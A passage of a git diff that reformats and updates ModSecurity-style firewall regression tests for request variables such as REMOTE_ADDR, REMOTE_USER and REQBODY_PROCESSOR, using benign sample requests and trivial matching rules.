b/test/test-cases/regression/variable-REMOTE_ADDR.json @@ -1,82 +1,92 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_ADDR", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_ADDR", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"200.249.12.31\" \\(Variable: REMOTE_ADDR\\)" + "expected": { + "debug_log": "Target value: \"200.249.12.31\" \\(Variable: REMOTE_ADDR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_ADDR \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_ADDR", - "client":{ - "ip":"::1", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_ADDR", + "client": { + "ip": "::1", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"::1\" \\(Variable: REMOTE_ADDR\\)" + "expected": { + "debug_log": "Target value: \"::1\" \\(Variable: REMOTE_ADDR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_ADDR \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REMOTE_HOST.json b/test/test-cases/regression/variable-REMOTE_HOST.json index d1b5a0f07b..af721c14c2 100644 --- a/test/test-cases/regression/variable-REMOTE_HOST.json +++ b/test/test-cases/regression/variable-REMOTE_HOST.json @@ -1,82 +1,92 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_HOST", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_HOST", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"200.249.12.31\" \\(Variable: REMOTE_HOST\\)" + "expected": { + "debug_log": "Target value: \"200.249.12.31\" \\(Variable: REMOTE_HOST\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_HOST \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_HOST", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_HOST", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"::1", - "port":80 + "server": { + "ip": "::1", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"200.249.12.31\" \\(Variable: REMOTE_HOST\\)" + "expected": { + "debug_log": "Target value: \"200.249.12.31\" \\(Variable: REMOTE_HOST\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_HOST \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REMOTE_PORT.json b/test/test-cases/regression/variable-REMOTE_PORT.json index 459e01fd91..6f12833c5a 100644 --- a/test/test-cases/regression/variable-REMOTE_PORT.json +++ b/test/test-cases/regression/variable-REMOTE_PORT.json @@ -1,82 +1,92 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_PORT", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_PORT", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"123\" \\(Variable: REMOTE_PORT\\)" + "expected": { + "debug_log": "Target value: \"123\" \\(Variable: REMOTE_PORT\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_PORT \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_PORT", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_PORT", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"::1", - "port":80 + "server": { + "ip": "::1", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"123\" \\(Variable: REMOTE_PORT\\)" + "expected": { + "debug_log": "Target value: \"123\" \\(Variable: REMOTE_PORT\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_PORT \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REMOTE_USER.json b/test/test-cases/regression/variable-REMOTE_USER.json index 8c4209c8fb..64b5797f36 100644 --- a/test/test-cases/regression/variable-REMOTE_USER.json +++ b/test/test-cases/regression/variable-REMOTE_USER.json @@ -1,42 +1,47 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_USER", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_USER", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpPcGVuU2VzYW1l" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"t:trim: \"Aladdin\"" + "expected": { + "debug_log": "t:trim: \"Aladdin\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_USER \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REQBODY_PROCESSOR.json b/test/test-cases/regression/variable-REQBODY_PROCESSOR.json index 87f43facf4..9948ebb80b 100644 --- a/test/test-cases/regression/variable-REQBODY_PROCESSOR.json +++ b/test/test-cases/regression/variable-REQBODY_PROCESSOR.json @@ -1,183 +1,188 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQBODY_PROCESSOR (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQBODY_PROCESSOR (1/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Type": "text/xml" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "732" }, - "uri":"/?key=value&key=other_value", - "http_version":1.1, - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", + "http_version": 1.1, "body": [ "", "", "", - "Everyday Italian", - "Giada De Laurentiis", - "2005", - "30.00", + "Everyday Italian", + "Giada De Laurentiis", + "2005", + "30.00", "", - "", - "Harry Potter", - "J K. Rowling", - "2005", - "29.99", + "Harry Potter", + "J K. Rowling", + "2005", + "29.99", "", - "", - "XQuery Kick Start", - "James McGovern", - "Per Bothner", - "Kurt Cagle", - "James Linn", - "Vaidyanathan Nagarajan", - "2003", - "49.99", + "XQuery Kick Start", + "James McGovern", + "Per Bothner", + "Kurt Cagle", + "James Linn", + "Vaidyanathan Nagarajan", + "2003", + "49.99", "", - "", - "Learning XML", - "Erik T. Ray", - "2003", - "39.95", + "Learning XML", + "Erik T. Ray", + "2003", + "39.95", "", "" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"XML\" \\(Variable: REQBODY_PROCESSOR\\)" + "expected": { + "debug_log": "Target value: \"XML\" \\(Variable: REQBODY_PROCESSOR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRule REQUEST_HEADERS:Content-Type \"^(?:application(?:/soap\+|/)|text/)xml\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule REQUEST_HEADERS:Content-Type \"^(?:application(?:/soap\\+|/)|text/)xml\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", "SecRule REQBODY_PROCESSOR \"@contains test\" \"id:1,pass,phase:2,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQBODY_PROCESSOR (2/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQBODY_PROCESSOR (2/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Content-Length": "523" }, - "uri":"/?key=value&key=other_value", - "http_version":1.1, - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", + "http_version": 1.1, "body": [ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"MULTIPART\" \\(Variable: REQBODY_PROCESSOR\\)" + "expected": { + "debug_log": "Target value: \"MULTIPART\" \\(Variable: REQBODY_PROCESSOR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQBODY_PROCESSOR \"@contains test\" \"id:1,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQBODY_PROCESSOR (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQBODY_PROCESSOR (3/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Type": "application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded", + "Content-Length": "27" }, - "uri":"/?key=value&key=other_value", - "http_version":1.1, - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", + "http_version": 1.1, "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"URLENCODED\" \\(Variable: REQBODY_PROCESSOR\\)" + "expected": { + "debug_log": "Target value: \"URLENCODED\" \\(Variable: REQBODY_PROCESSOR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQBODY_PROCESSOR \"@contains test\" \"id:1,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-REQBODY_PROCESSOR_ERROR.json b/test/test-cases/regression/variable-REQBODY_PROCESSOR_ERROR.json index e470362d02..ad8a5741c5 100644 --- a/test/test-cases/regression/variable-REQBODY_PROCESSOR_ERROR.json +++ b/test/test-cases/regression/variable-REQBODY_PROCESSOR_ERROR.json @@ -1,136 +1,140 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQBODY_PROCESSOR_ERROR_MSG (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQBODY_PROCESSOR_ERROR_MSG (1/2)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Type": "text/xml" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "736" }, - "uri":"/?key=value&key=other_value", - "http_version":1.1, - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", + "http_version": 1.1, "body": [ "", "", "", - "Everyday Italian", - "Giada De Laurentiis", - "2005", - "30.00", + "Everyday Italian", + "Giada De Laurentiis", + "2005", + "30.00", "", - "", - "Harry Potter", - "J K. Rowling", - "2005", - "29.99", + "Harry Potter", + "J K. Rowling", + "2005", + "29.99", "", - "", - "XQuery Kick Start", - "James McGovern", - "Per Bothner", - "Kurt Cagle", - "James Linn", - "Vaidyanathan Nagarajan", - "2003", - "49.99", + "XQuery Kick Start", + "James McGovern", + "Per Bothner", + "Kurt Cagle", + "James Linn", + "Vaidyanathan Nagarajan", + "2003", + "49.99", "", - "", - "Learning XML", - "Erik T. Ray", - "2003", - "39.95", + "Learning XML", + "Erik T. Ray", + "2003", + "39.95", "", "" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"XML parsing error: XML: Failed parsing document" + "expected": { + "debug_log": "XML parsing error: XML: Failed to parse document", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", "SecRule REQBODY_PROCESSOR_ERROR \"@contains test\" \"phase:2,id:1,pass,t:trim\"", "SecRule REQBODY_PROCESSOR_ERROR_MSG \"@contains test\" \"phase:2,id:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQBODY_PROCESSOR_ERROR_MSG (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQBODY_PROCESSOR_ERROR_MSG (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Content-Length": "469" }, - "uri":"/?key=value&key=other_value", - "http_version":1.1, - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", + "http_version": 1.1, "body": [ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file.." + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Multipart parsing error: Multipart: Final boundary missing." + "expected": { + "debug_log": "Multipart parsing error: Multipart: Final boundary missing.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", "SecRule REQBODY_PROCESSOR_ERROR \"@contains test\" \"phase:2,id:1,pass,t:trim\"", @@ -138,4 +142,3 @@ ] } ] - diff --git a/test/test-cases/regression/variable-REQUEST_BASENAME.json b/test/test-cases/regression/variable-REQUEST_BASENAME.json index 6a8014c02f..1046b6c57f 100644 --- a/test/test-cases/regression/variable-REQUEST_BASENAME.json +++ b/test/test-cases/regression/variable-REQUEST_BASENAME.json @@ -1,82 +1,92 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_BASENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_BASENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/login.php?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/login.php?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"login.php\" \\(Variable: REQUEST_BASENAME\\)" + "expected": { + "debug_log": "Target value: \"login.php\" \\(Variable: REQUEST_BASENAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_BASENAME \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_BASENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_BASENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/my_app.asp?apath=/my/cool/path.com", - "method":"GET" + "uri": "/my_app.asp?apath=/my/cool/path.com", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + 